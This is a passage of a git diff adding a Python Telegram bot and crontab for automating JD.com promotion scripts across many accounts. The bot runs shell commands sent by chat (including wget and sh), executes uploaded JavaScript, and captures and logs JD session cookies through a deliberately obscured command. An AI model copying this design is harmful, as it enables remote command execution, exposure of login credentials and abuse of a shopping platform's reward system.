keyboard_line = [] + for i in range(math.ceil(len(button_list) / 2)): + ret = button_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data=ii)) + button_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'git': + # button_list = list(set(get_crontab_list(cmd_type))) + # button_list.sort() + keyboard_line = [[InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + # for i in range(math.ceil(len(button_list) / 2)): + # ret = button_list[0:2] + # keyboard_column = [] + # for ii in ret: + # keyboard_column.append(InlineKeyboardButton( + # ii.split('/')[-1], callback_data=ii)) + # button_list.remove(ii) + # keyboard_line.append(keyboard_column) + # if len(keyboard_line) < 1: + # keyboard_line.append( + # [InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + # InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + else: + reply_markup = InlineKeyboardMarkup( + [[InlineKeyboardButton('没找到对的命令操作按钮', callback_data='cancel')]]) + + return reply_markup + + +def get_crontab_list(cmd_type): + """获取任务列表里面的node相关的定时任务 + + Parameters + ---------- + cmd_type: 是任务的命令类型 + # item_idx: 确定取的需要取之是定任务里面第几个空格后的值作为后面执行指令参数 + + Returns + ------- + 返回一个指定命令类型定时任务列表 + """ + button_list = [] + try: + with open(_docker_dir + crontab_list_file) as lines: + array = lines.readlines() + for i in array: + i = i.replace('|ts', '').strip('\n') + if i.startswith('#') or len(i) < 5: + pass + else: + items = i.split('>>') + item_sub = items[0].split()[5:] + # logger.info(item_sub[0]) + if cmd_type.find(item_sub[0]) > -1: + if cmd_type == 'spnode': + # logger.info(str(' '.join(item_sub)).replace('node','spnode')) + button_list.append(str(' '.join(item_sub)).replace('node', 'spnode')) + else: + button_list.append(' '.join(item_sub)) + elif cmd_type == 'crontab_l': + button_list.append(items[0]) + except: + logger.warning(f'读取定时任务配置文件 {crontab_list_file} 出错') + finally: + return button_list + + +def get_dir_file_list(dir_path, file_type): + """获取传入的路径下的文件列表 + + Parameters + ---------- + dir_path: 完整的目录路径,不需要最后一个 + file_type: 或者文件的后缀名字 + + Returns + ------- + 返回一个完整绝对路径的文件列表,方便读取 + """ + cmd = 'ls %s*.%s' % (dir_path, file_type) + file_list = [] + try: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=5, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + file_list = out_text.split() + except: + logger.warning(f'{dir_path}目录下,不存在{file_type}对应的文件') + finally: + return file_list + + +def is_admin(from_user_id): + if str(admin_id) == str(from_user_id): + return True + else: + return False + + +class CodeConf(object): + def __init__(self, bot_id, submit_code, log_name, activity_code, find_split_char): + self.bot_id = bot_id + self.submit_code = submit_code + self.log_name = log_name + self.activity_code = activity_code + self.find_split_char = find_split_char + + def get_submit_msg(self): + code_list = [] + ac = self.activity_code if self.activity_code != "@N" else "" + try: + with open("%s%s" % (_logs_dir, self.log_name), 'r') as lines: + array = lines.readlines() + for i in array: + # print(self.find_split_char) + if i.find(self.find_split_char) > -1: + code_list.append(i.split(self.find_split_char)[ + 1].replace('\n', '')) + if self.activity_code == "@N": + return '%s %s' % (self.submit_code, + "&".join(list(set(code_list)))) + else: + return '%s %s %s' % (self.submit_code, ac, + "&".join(list(set(code_list)))) + except: + return "%s %s活动获取系统日志文件异常,请检查日志文件是否存在" % (self.submit_code, ac) + + +def gen_long_code(update, context): + """ + 长期活动互助码提交消息生成 + """ + long_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("long"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + long_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in long_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_temp_code(update, context): + """ + 短期临时活动互助码提交消息生成 + """ + temp_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("temp"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + temp_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in temp_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的短期临时活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_daily_code(update, context): + """ + 每天变化互助码活动提交消息生成 + """ + daily_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("daily"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + daily_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in daily_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的每天变化活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def shcmd(update, context): + """ + 执行终端命令,超时时间为60,执行耗时或者不退出的指令会报超时异常 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/cmd') + if len(commands) > 0: + support_cmd = ["echo", "ls", "pwd", "cp", "mv", "ps", "wget", "cat", "sed", "git", "apk", "sh", + "docker_entrypoint.sh"] + if commands[0] in support_cmd: + sp_cmd = ["sh", "docker_entrypoint.sh"] + cmd = ' '.join(commands) + try: + # 测试发现 subprocess.check_output 执行shell 脚本文件的时候无法正常执行获取返回结果 + # 所以 ["sh", "docker_entrypoint.sh"] 指令换为 subprocess.Popen 方法执行 + out_text = "" + if commands[0] in sp_cmd: + p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + while p.poll() is None: + line = p.stdout.readline() + # logger.info(line.decode('utf-8')) + out_text = out_text + line.decode('utf-8') + else: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=60, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + + if len(out_text.split('\n')) > 50: + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'cmd', commands[0]) + with open(log_name, 'w') as wf: + wf.write(out_text) + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except Exception as e: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + logger.error(e) + else: + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown( + f' →→→ {commands[0]}指令不在支持命令范围,请输入其他支持的指令{"|".join(support_cmd)} ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text( + text='```{}```'.format(helpers.escape_markdown(' →→→ 请在/cmd 后写自己需要执行的指的命令 ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +# getSToken请求获取,s_token用于发送post请求是的必须参数 +s_token = "" +# getSToken请求获取,guid,lsid,lstoken用于组装cookies +guid, lsid, lstoken = "", "", "" +# 由上面参数组装生成,getOKLToken函数发送请求需要使用 +cookies = "" +# getOKLToken请求获取,token用户生成二维码使用、okl_token用户检查扫码登录结果使用 +token, okl_token = "", "" +# 最终获取到的可用的cookie +jd_cookie = "" + + +def get_jd_cookie(update, context): + getSToken() + getOKLToken() + + qr_code_path = genQRCode() + photo_file = open(qr_code_path, 'rb') + photo_message = context.bot.send_photo(chat_id=update.effective_chat.id, photo=photo_file, + caption="请使用京东APP扫描二维码获取Cookie(二维码有效期:3分钟)") + photo_file.close() + + return_msg = chekLogin() + if return_msg == 0: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.send_message(chat_id=update.effective_chat.id, text="获取Cookie成功\n`%s`" % jd_cookie, + parse_mode=ParseMode.MARKDOWN_V2) + + elif return_msg == 21: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text="二维码已经失效,请重新获取") + else: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text=return_msg) + + +def getSToken(): + time_stamp = int(time.time() * 1000) + get_url = 'https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp + get_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com' + } + try: + resp = requests.get(url=get_url, headers=get_header) + parseGetRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + logger.info(resp.json()) + except Exception as error: + logger.exception("Get网络请求异常", error) + + +def parseGetRespCookie(headers, get_resp): + global s_token + global cookies + s_token = get_resp.get('s_token') + set_cookies = headers.get('set-cookie') + logger.info(set_cookies) + + guid = re.findall(r"guid=(.+?);", set_cookies)[0] + lsid = re.findall(r"lsid=(.+?);", set_cookies)[0] + lstoken = re.findall(r"lstoken=(.+?);", set_cookies)[0] + + cookies = f"guid={guid}; lang=chs; lsid={lsid}; lstoken={lstoken}; " + logger.info(cookies) + + +def getOKLToken(): + post_time_stamp = int(time.time() * 1000) + post_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=%s&v=%s&remember=true' % ( + s_token, post_time_stamp) + post_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % post_time_stamp, + 'source': 'wq_passport' + } + post_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'Cookie': cookies, + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % post_time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com', + } + try: + global okl_token + resp = requests.post(url=post_url, headers=post_header, data=post_data, timeout=20) + parsePostRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + except Exception as error: + logger.exception("Post网络请求错误", error) + + +def parsePostRespCookie(headers, data): + global token + global okl_token + + token = data.get('token') + print(headers.get('set-cookie')) + okl_token = re.findall(r"okl_token=(.+?);", headers.get('set-cookie'))[0] + + logger.info("token:" + token) + logger.info("okl_token:" + okl_token) + + +def genQRCode(): + global qr_code_path + cookie_url = f'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=%s' % token + version, level, qr_name = myqr.run( + words=cookie_url, + # 扫描二维码后,显示的内容,或是跳转的链接 + version=5, # 设置容错率 + level='H', # 控制纠错水平,范围是L、M、Q、H,从左到右依次升高 + picture='/scripts/docker/bot/jd.png', # 图片所在目录,可以是动图 + colorized=True, # 黑白(False)还是彩色(True) + contrast=1.0, # 用以调节图片的对比度,1.0 表示原始图片。默认为1.0。 + brightness=1.0, # 用来调节图片的亮度,用法同上。 + save_name='/scripts/docker/genQRCode.png', # 控制输出文件名,格式可以是 .jpg, .png ,.bmp ,.gif + ) + return qr_name + + +def chekLogin(): + expired_time = time.time() + 60 * 3 + while True: + check_time_stamp = int(time.time() * 1000) + check_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=%s&ou_state=0&okl_token=%s' % ( + token, okl_token) + check_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % check_time_stamp, + 'source': 'wq_passport' + + } + check_header = { + 'Referer': f'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % check_time_stamp, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + + } + resp = requests.post(url=check_url, headers=check_header, data=check_data, timeout=30) + data = resp.json() + if data.get("errcode") == 0: + parseJDCookies(resp.headers) + return data.get("errcode") + if data.get("errcode") == 21: + return data.get("errcode") + if time.time() > expired_time: + return "超过3分钟未扫码,二维码已过期。" + + +def parseJDCookies(headers): + global jd_cookie + logger.info("扫码登录成功,下面为获取到的用户Cookie。") + set_cookie = headers.get('Set-Cookie') + pt_key = re.findall(r"pt_key=(.+?);", set_cookie)[0] + pt_pin = re.findall(r"pt_pin=(.+?);", set_cookie)[0] + logger.info(pt_key) + logger.info(pt_pin) + jd_cookie = f'pt_key={pt_key};pt_pin={pt_pin};' + + +def saveFile(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + js_file_name = update.message.document.file_name + if str(js_file_name).endswith(".js"): + save_path = f"{_base_dir}{js_file_name}" + try: + # logger.info(update.message) + file = context.bot.getFile(update.message.document.file_id) + file.download(save_path) + keyboard_line = [[InlineKeyboardButton('node 执行', callback_data='node %s ' % save_path), + InlineKeyboardButton('spnode 执行', + callback_data='spnode %s' % save_path)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + + reply_markup = InlineKeyboardMarkup(keyboard_line) + + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 上传至/scripts完成,请请选择需要的操作 ↓↓↓ ' % js_file_name)), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + + except Exception as e: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ %s js上传至/scripts过程中出错,请重新尝试。 ←←← " % js_file_name)), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ 抱歉,暂时只开放上传js文件至/scripts目录 ←←← ")), + parse_mode=ParseMode.MARKDOWN_V2) + + +def unknown(update, context): + """回复用户输入不存在的指令 + """ + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + update.message.reply_text(text="⚠️ 您输入了一个错误的指令,请参考说明使用\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme, + parse_mode=ParseMode.HTML) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def error(update, context): + """Log Errors caused by Updates.""" + logger.warning('Update "%s" caused error "%s"', update, context.error) + context.bot.send_message( + 'Update "%s" caused error "%s"', update, context.error) + + +def main(): + global admin_id, bot_token, crontab_list_file + + if 'TG_BOT_TOKEN' in os.environ: + bot_token = os.getenv('TG_BOT_TOKEN') + + if 'TG_USER_ID' in os.environ: + admin_id = os.getenv('TG_USER_ID') + + if 'CRONTAB_LIST_FILE' in os.environ: + crontab_list_file = os.getenv('CRONTAB_LIST_FILE') + else: + crontab_list_file = 'crontab_list.sh' + + logger.info('CRONTAB_LIST_FILE=' + crontab_list_file) + + # 创建更新程序并参数为你Bot的TOKEN。 + updater = Updater(bot_token, use_context=True) + + # 获取调度程序来注册处理程序 + dp = updater.dispatcher + + # 通过 start 函数 响应 '/start' 命令 + dp.add_handler(CommandHandler('start', start)) + + # 通过 start 函数 响应 '/help' 命令 + dp.add_handler(CommandHandler('help', start)) + + # 通过 node 函数 响应 '/node' 命令 + dp.add_handler(CommandHandler('node', node)) + + # 通过 node 函数 响应 '/spnode' 命令 + dp.add_handler(CommandHandler('spnode', spnode)) + + # 通过 git 函数 响应 '/git' 命令 + dp.add_handler(CommandHandler('git', git)) + + # 通过 crontab 函数 响应 '/crontab' 命令 + dp.add_handler(CommandHandler('crontab', crontab)) + + # 通过 logs 函数 响应 '/logs' 命令 + dp.add_handler(CommandHandler('logs', logs)) + + # 通过 cmd 函数 响应 '/cmd' 命令 + dp.add_handler(CommandHandler('cmd', shcmd)) + + # 通过 callback_run 函数 响应相关按钮命令 + dp.add_handler(CallbackQueryHandler(callback_run)) + + # 通过 env 函数 响应 '/env' 命令 + dp.add_handler(CommandHandler('env', env)) + + # 通过 gen_long_code 函数 响应 '/gen_long_code' 命令 + dp.add_handler(CommandHandler('gen_long_code', gen_long_code)) + + # 通过 gen_temp_code 函数 响应 '/gen_temp_code' 命令 + dp.add_handler(CommandHandler('gen_temp_code', gen_temp_code)) + + # 通过 gen_daily_code 函数 响应 '/gen_daily_code' 命令 + dp.add_handler(CommandHandler('gen_daily_code', gen_daily_code)) + + # 通过 get_jd_cookie 函数 响应 '/eikooc_dj_teg' 命令 #别问为啥这么写,有意为之的 + dp.add_handler(CommandHandler('eikooc_dj_teg', get_jd_cookie)) + + # 文件监听 + dp.add_handler(MessageHandler(Filters.document, saveFile)) + + # 没找到对应指令 + dp.add_handler(MessageHandler(Filters.command, unknown)) + + # 响应普通文本消息 + # dp.add_handler(MessageHandler(Filters.text, resp_text)) + + dp.add_error_handler(error) + + updater.start_polling() + updater.idle() + + +# 生成依赖安装列表 +# pip3 freeze > requirements.txt +# 或者使用pipreqs +# pip3 install pipreqs +# 在当前目录生成 +# pipreqs . --encoding=utf8 --force +# 使用requirements.txt安装依赖 +# pip3 install -r requirements.txt +if __name__ == '__main__': + main() diff --git a/docker/bot/requirements.txt b/docker/bot/requirements.txt new file mode 100644 index 0000000..4b29cbe --- /dev/null +++ b/docker/bot/requirements.txt @@ -0,0 +1,5 @@ +python_telegram_bot==13.0 +requests==2.23.0 +MyQR==2.3.1 +telegram==0.0.1 +tzlocal<3.0 diff --git a/docker/bot/setup.py b/docker/bot/setup.py new file mode 100644 index 0000000..a1be8e0 --- /dev/null +++ b/docker/bot/setup.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-21 + +from setuptools import setup + +setup( + name='jd-scripts-bot', + version='0.2', + scripts=['jd_bot', ], +) diff --git a/docker/crontab_list.sh b/docker/crontab_list.sh new file mode 100644 index 0000000..b7b723f --- /dev/null +++ b/docker/crontab_list.sh @@ -0,0 +1,229 @@ +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecodeCollection' | xargs rm -rf +#收集助力码 +30 * * * * sh +x /scripts/docker/auto_help.sh collect >> /scripts/logs/auto_help_collect.log 2>&1 + +##############活动############## + +#宠汪汪 +35 0-23/2 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +#宠汪汪兑换 +59 7,15,23 * * * node /scripts/jd_joy_reward.js >> /scripts/logs/jd_joy_reward.log 2>&1 +#点点券 +#10 6,20 * * * node /scripts/jd_necklace.js >> /scripts/logs/jd_necklace.log 2>&1 +#惊喜签到 +0 3,8 * * * node /scripts/jd_jxsign.js >> /scripts/logs/jd_jxsign.log 2>&1 +#东东超市兑换奖品 +59 23 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +#财富岛 +35 * * * * node /scripts/jd_cfd.js >> /scripts/logs/jd_cfd.log 2>&1 +#京东汽车 +10 4,20 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +#金榜创造营 +13 5,19 * * * node /scripts/jd_gold_creator.js >> /scripts/logs/jd_gold_creator.log 2>&1 +#京东多合一签到 +0 4,14 * * * node /scripts/jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +#半点京豆雨 +30 0-23/1 * * * node /scripts/jd_half_redrain.js >> /scripts/logs/jd_half_redrain.log 2>&1 +#东东超市 +39 * * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +#京东极速版红包 +20 2,12 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +#领京豆额外奖励 +10 3,9 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +#京东资产变动通知 +0 12 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +#京东极速版 +0 1,7 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +#我是大老板 +35 0-23/1 * * * node /scripts/jd_wsdlb.js >> /scripts/logs/jd_wsdlb.log 2>&1 +# +5 3,19 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +#东东萌宠 +45 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +#挑一挑 +1 3,9,18 * * * node /scripts/jd_jump.js >> /scripts/logs/jd_jump.log 2>&1 +# +36 0,1-23/3 * * * node /scripts/jd_mohe.js >> /scripts/logs/jd_mohe.log 2>&1 +#种豆得豆 +44 0-23/6 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +#东东农场 +35 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +#删除优惠券 +0 3,20 * * * node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +# +5 2,19 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# +40 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# +0 0-23/1 * * * node /scripts/jd_super_redrain.js >> /scripts/logs/jd_super_redrain.log 2>&1 +#领金贴 +10 1 * * * node /scripts/jd_jin_tie.js >> /scripts/logs/jd_jin_tie.log 2>&1 +#健康社区 +13 2,5,20 * * * node /scripts/jd_health.js >> /scripts/logs/jd_health.log 2>&1 +#秒秒币 +10 2 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +# +1 2,15,19 * * * node /scripts/jd_daily_lottery.js >> /scripts/logs/jd_daily_lottery.log 2>&1 +# +9 0-23/3 * * * node /scripts/jd_ddnc_farmpark.js >> /scripts/logs/jd_ddnc_farmpark.log 2>&1 +#京喜工厂 +39 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +#闪购盲盒 +20 4,16,19 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# +0 0 * * * node /scripts/jd_bean_change1.js >> /scripts/logs/jd_bean_change1.log 2>&1 +# +1 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +#摇钱树 +23 0-23/2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +#排行榜 +37 2 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# +32 0-23/6 * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# +10-20/5 12 * * * node /scripts/jd_live.js >> /scripts/logs/jd_live.log 2>&1 +#京东快递 +40 0 * * * node /scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +#美丽研究院 +16 9,15,17 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京喜牧场 +48 0-23/3 * * * node /scripts/jd_jxmc.js >> /scripts/logs/jd_jxmc.log 2>&1 +#京东试用 +30 10 * * * node /scripts/jd_try.js >> /scripts/logs/jd_try.log 2>&1 +#领现金 +42 0-23/6 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +#赚金币 +0 8 * * * node /scripts/jd_zjb.js >> /scripts/logs/jd_zjb.log 2>&1 +# +# 0 6 * * * node /scripts/getJDCookie.js >> /scripts/logs/getJDCookie.log 2>&1 +#京东赚赚 +10 0 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +#获取互助码 +20 13 * * 6 node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# +15-55/20 * * * * node /scripts/jd_health_collect.js >> /scripts/logs/jd_health_collect.log 2>&1 +#京东到家果园 +10 0,8,11,17 * * * node /scripts/jd_jddj_fruit.js >> /scripts/logs/jd_jddj_fruit.log 2>&1 +#京东到家 +5 0,6,12 * * * node /scripts/jd_jddj_bean.js >> /scripts/logs/jd_jddj_bean.log 2>&1 +#京东到家收水滴 +10 * * * * node /scripts/jd_jddj_collectWater.js >> /scripts/logs/jd_jddj_collectWater.log 2>&1 +#京东到家 +5-40/5 * * * * node /scripts/jd_jddj_getPoints.js >> /scripts/logs/jd_jddj_getPoints.log 2>&1 +#京东到家 +20 */4 * * * node /scripts/jd_jddj_plantBeans.js >> /scripts/logs/jd_jddj_plantBeans.log 2>&1 +# +13 3 * * * node 